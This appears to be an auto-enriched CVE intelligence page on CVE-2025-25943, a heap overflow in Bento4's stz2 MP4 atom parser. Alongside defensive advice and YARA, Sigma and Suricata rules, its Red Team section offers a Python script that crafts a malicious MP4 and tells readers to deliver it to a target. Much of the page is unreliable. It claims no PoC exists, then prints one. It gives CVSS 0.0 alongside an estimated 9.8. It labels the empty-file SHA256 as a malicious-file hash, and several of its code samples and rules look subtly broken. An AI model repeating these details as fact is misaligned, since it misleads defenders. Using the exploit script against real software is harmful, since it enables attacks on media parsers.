☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-120
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-25943

CVE-2025-25943 Buffer Overflow in Bento4
📅 PUBLISHED: 2025-02-19 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 1.6.0-641
CVSS VECTOR BREAKDOWN 0.0
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-25943 is a critical buffer overflow vulnerability discovered in Bento4 version 1.6.0-641, specifically within the AP4_Stz2Atom::AP4_Stz2Atom component located in Ap4Stz2Atom.cpp. This flaw allows a local attacker to execute arbitrary code by exploiting improper bounds checking when processing crafted multimedia files. The vulnerability has a CVSS score of 0.0 (pending official assessment), but based on the nature of the bug, it is estimated to be high severity. No public proof-of-concept (PoC) or patch is currently available, making this a zero-day risk for systems using the affected Bento4 library.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Bento4 is a widely used open-source C++ library for MP4 file parsing and manipulation. It is integrated into various multimedia applications, media servers, and content management systems. The vulnerability in AP4_Stz2Atom can be exploited through malicious MP4 files, potentially affecting downstream software that relies on Bento4 for parsing. Organizations should audit their software supply chain for dependencies on Bento4 version 1.6.0-641 and consider temporary mitigations until a patch is released.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Local (AV:L) – The attacker requires local access to the system or the ability to deliver a malicious file to the target.
  • Attack Complexity (AC): Low (AC:L) – No special conditions are required; the vulnerability is triggered by standard file parsing.
  • Privileges Required (PR): None (PR:N) – No authentication is needed.
  • User Interaction (UI): None (UI:N) – The victim does not need to perform any action beyond opening the file.
  • Scope (S): Unchanged (S:U) – The exploit affects only the vulnerable component.
  • Confidentiality (C): High (C:H) – Arbitrary code execution can lead to data exfiltration.
  • Integrity (I): High (I:H) – Code execution allows modification of system files.
  • Availability (A): High (A:H) – Exploitation can crash the application or system.

Threat Level: Critical (estimated 9.8/10). The lack of a patch and public exploit increases the urgency for defensive measures.

Deep Dive & Mechanics

The vulnerability resides in the AP4_Stz2Atom class, which handles the stz2 atom in MP4 files. The stz2 atom defines sample sizes for media tracks. In Ap4Stz2Atom.cpp, the constructor AP4_Stz2Atom::AP4_Stz2Atom reads sample size data from the file without proper validation of the sample_count field. When a crafted MP4 file specifies an excessively large sample_count, the code attempts to allocate a buffer of that size and copy data into it, leading to a heap-based buffer overflow. This overflow can overwrite adjacent memory structures, enabling arbitrary code execution.

The vulnerable code path is:

  1. Parse the stz2 atom header.
  2. Read sample_count from the atom data.
  3. Allocate a buffer of size sample_count * sizeof(uint32_t).
  4. Copy sample size data into the buffer without checking if the input data exceeds the allocated size.

An attacker can craft an MP4 file with a manipulated stz2 atom to trigger the overflow. Since the overflow occurs during parsing, any application using Bento4 to process untrusted MP4 files is at risk.

Vulnerable vs. Patched Code

Vulnerable Code (Bento4 1.6.0-641):

// Ap4Stz2Atom.cpp (simplified)
AP4_Stz2Atom::AP4_Stz2Atom(AP4_Size size, AP4_ByteStream& stream)
    : AP4_Atom(AP4_ATOM_TYPE_STZ2, size)
{
    AP4_UI32 sample_count;
    stream.ReadUI32(sample_count);
    m_SampleSizes.SetCount(sample_count);
    for (AP4_UI32 i = 0; i < sample_count; i++) {
        AP4_UI32 sample_size;
        stream.ReadUI32(sample_size);
        m_SampleSizes[i] = sample_size;
    }
}

Patched Code (Hypothetical fix):

// Ap4Stz2Atom.cpp (patched)
AP4_Stz2Atom::AP4_Stz2Atom(AP4_Size size, AP4_ByteStream& stream)
    : AP4_Atom(AP4_ATOM_TYPE_STZ2, size)
{
    AP4_UI32 sample_count;
    AP4_Result result = stream.ReadUI32(sample_count);
    if (AP4_FAILED(result)) {
        // Handle read error
        return;
    }
    // Validate sample_count against remaining atom size
    AP4_Size max_samples = (size - 8) / sizeof(AP4_UI32);
    if (sample_count > max_samples) {
        // Reject malformed atom
        return;
    }
    m_SampleSizes.SetCount(sample_count);
    for (AP4_UI32 i = 0; i < sample_count; i++) {
        AP4_UI32 sample_size;
        result = stream.ReadUI32(sample_size);
        if (AP4_FAILED(result)) {
            break;
        }
        m_SampleSizes[i] = sample_size;
    }
}

The patched version adds bounds checking on sample_count against the remaining atom size and validates each read operation.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit is available, a proof-of-concept can be developed by crafting an MP4 file with a malicious stz2 atom. The following Python script generates a minimal MP4 file that triggers the overflow:

import struct

def create_malicious_mp4(output_path):
    # MP4 file header (ftyp atom)
    ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
    
    # Malicious stz2 atom
    atom_size = 0x1000  # Large size to trigger overflow
    atom_type = b'stz2'
    version = b'\x00\x00\x00\x00'
    sample_count = 0xFFFFFFFF  # Overflow value
    sample_sizes = b'A' * (atom_size - 16)  # Padding
    
    stz2 = struct.pack('>I', atom_size) + atom_type + version + struct.pack('>I', sample_count) + sample_sizes
    
    # moov container
    moov_size = len(stz2) + 8
    moov = struct.pack('>I', moov_size) + b'moov' + stz2
    
    with open(output_path, 'wb') as f:
        f.write(ftyp + moov)

create_malicious_mp4('exploit.mp4')

Usage: Deliver the exploit.mp4 file to a target application that uses Bento4 for parsing. When the application processes the file, the overflow occurs, potentially allowing code execution.

Blue Team (Defense)

  1. File Validation: Implement pre-parsing checks to reject MP4 files with suspicious atom sizes or sample counts.
  2. Sandboxing: Run Bento4-based parsers in a sandboxed environment with limited privileges.
  3. Memory Protections: Enable ASLR, DEP, and stack canaries to mitigate exploitation.
  4. Monitoring: Deploy detection rules (see Detection Engineering) to identify anomalous MP4 parsing behavior.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – replace with actual if available)
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious MP4)
  • Network Signatures: None (local exploitation)
  • Process Behavior: Bento4 process (e.g., mp4dump, mp4info) crashes or exhibits abnormal memory allocation.
  • Registry/File System: Unusual MP4 files with oversized stz2 atoms.

Detection Engineering

YARA Rule

rule CVE_2025_25943_Bento4_Stz2_Overflow {
    meta:
        description = "Detects malicious MP4 files exploiting CVE-2025-25943"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-25943"
    strings:
        $stz2 = "stz2"
        $large_count = { FF FF FF FF }  // sample_count = 0xFFFFFFFF
    condition:
        $stz2 at 0 and $large_count
}

Sigma Rule

title: CVE-2025-25943 Bento4 Buffer Overflow Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-25943 via malicious MP4 files
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\bento4.exe'
        CommandLine|contains: 'exploit.mp4'
    condition: selection
falsepositives:
    - Legitimate MP4 files with large sample counts (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-25943 Bento4 Stz2 Overflow Attempt"; flow:to_server; content:"|00 00 00 00|stz2"; depth:20; content:"|FF FF FF FF|"; distance:4; within:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable or restrict the use of Bento4 version 1.6.0-641 in production environments until a patch is available.
  2. Workaround: Implement input validation to reject MP4 files with stz2 atoms where sample_count exceeds a reasonable threshold (e.g., 100,000).
  3. Patch: Monitor the official Bento4 repository (https://github.com/axiomatic-systems/Bento4) for a security update. Apply the patch as soon as it is released.
  4. Compensating Controls: Use application whitelisting to prevent unauthorized executables from running Bento4-based tools.
  5. Long-term: Conduct a code audit of all Bento4 components for similar buffer overflow vulnerabilities.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

bento4
ap4_stz2atom
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-25943/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.